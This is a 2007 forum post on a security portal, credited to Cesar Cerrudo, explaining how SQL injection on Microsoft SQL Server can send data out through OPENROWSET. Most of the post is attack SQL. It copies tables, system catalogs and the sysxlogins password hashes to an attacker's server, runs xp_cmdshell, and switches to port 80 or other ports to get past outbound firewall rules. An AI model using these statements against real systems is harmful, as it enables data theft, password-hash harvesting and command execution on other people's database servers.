Waraxe IT Security Portal
Login or Register
July 27, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 174
Members: 0
Total: 174
Full disclosure
CyberDanube Security Research 20240722-0 | Multiple Vulnerabilities in Perten/PerkinElmer ProcessPlus
[KIS-2024-06] XenForo <= 2.2.15 (Template System) Remote Code Execution Vulnerability
[KIS-2024-05] XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability
CVE-2024-33326
CVE-2024-33327
CVE-2024-33328
CVE-2024-33329
CyberDanube Security Research 20240703-0 | Authenticated Command Injection in Helmholz Industrial Router REX100
SEC Consult SA-20240627-0 :: Local Privilege Escalation via MSI installer in SoftMaker Office / FreeOffice
SEC Consult SA-20240626-0 :: Multiple Vulnerabilities in Siemens Power Automation Products
Novel DoS Vulnerability Affecting WebRTC Media Servers
APPLE-SA-06-25-2024-1 AirPods Firmware Update 6A326, AirPods Firmware Update 6F8, and Beats Firmware Update 6F8
40 vulnerabilities in Toshiba Multi-Function Printers
17 vulnerabilities in Sharp Multi-Function Printers
SEC Consult SA-20240624-0 :: Multiple Vulnerabilities allowing complete bypass in Faronics WINSelect (Standard + Enterprise)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Retrieving Results From Sql Injection
Post new topicReply to topic View previous topic :: View next topic
Retrieving Results From Sql Injection
PostPosted: Sun Feb 11, 2007 4:44 pm Reply with quote
Dinosaurio
Regular user
Regular user
Joined: Aug 11, 2006
Posts: 10




Hi,


The functions OPENROWSET and OPENDATASOURCE are most commonly used to pull data into SQL Server to be manipulated. They can however also be used to push data to a remote SQL Server.

OPENROWSET can be used to not only execute SELECT statements, but also to execute UPDATE, INSERT, and DELETE statements on external data sources. Performing data manipulation on remote data sources is less common and only works if the OLEDB provider supports this functionality. The SQLOLEDB provider support all these statements.

Below is an example of pushing data to an external data source:

insert into
OPENROWSET('SQLoledb',
'server=servername;uid=sa;pwd=h8ck3r',
'select * from table1')
select * from table2

In the example above, all rows in table2 on the local SQL Server will be appended to table1 in the remote data source. In order for the statement to execute properly the two tables must have the same structure.

As we learned in the previous section, remote datasources can be redirected to any server of the attacker?s choice. An attacker could change the statement above to connect to a remote datasource such as a copy of Microsoft SQL Server running on the attacker?s machine.

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from table2

In order to insert into table1 properly, the attacker must create table1 with the same columns and data types as table2. This information can be determined by performing this attack against system tables first.

This works because the structure of system tables are well-known. An attacker would start by creating a table with similar column names and data types as the system tables sysdatabases, sysobjects and syscolumns. Then to retrieve the necessary information, the following statements would be executed:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysdatabases')
select * from master.dbo.sysdatabases

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysobjects')
select * from user_database.dbo.sysobjects

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _syscolumns')
select * from user_database.dbo.syscolumns

WWW.APPSECINC.COM
After recreating the tables in the database, loading the remaining data from the SQL Server is trivial.

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table1')
select * from database..table1

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from table2')
select * from database..table2

Using this method, an attacker can retrieve the contents of a table even if the application is designed to conceal error messages or invalid query results.

Given the appropriate privileges, the attacker could load the list of logins and password hashes as well:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from _sysxlogins')
select * from database.dbo.sysxlogins

Acquiring the password hashes would allow the attacks to perform a brute-force on the passwords.

The attacker can also execute commands on the attacked server and get the results:

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',
'select * from temp_table')
exec master.dbo.xp_cmdshell 'dir'

If the firewall is configured to block all outbound SQL Server connections, the attacker can use one of several techniques to circumvent the firewall. The attacker could set the address to push data on using port 80 therefore appearing to be an HTTP connection. Below is an example of this technique.

insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',
'select * from table1')
select * from table1

If outbounds connections over port 80 are blocked at the firewall, the attacker could try differents port numbers until an unblocked one was found.


Good Luck

Dino


Font:Cesar Cerrudo (sqlsec@yahoo.com)
View user's profile Send private message Send e-mail Visit poster's website MSN Messenger
Retrieving Results From Sql Injection
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.186 Seconds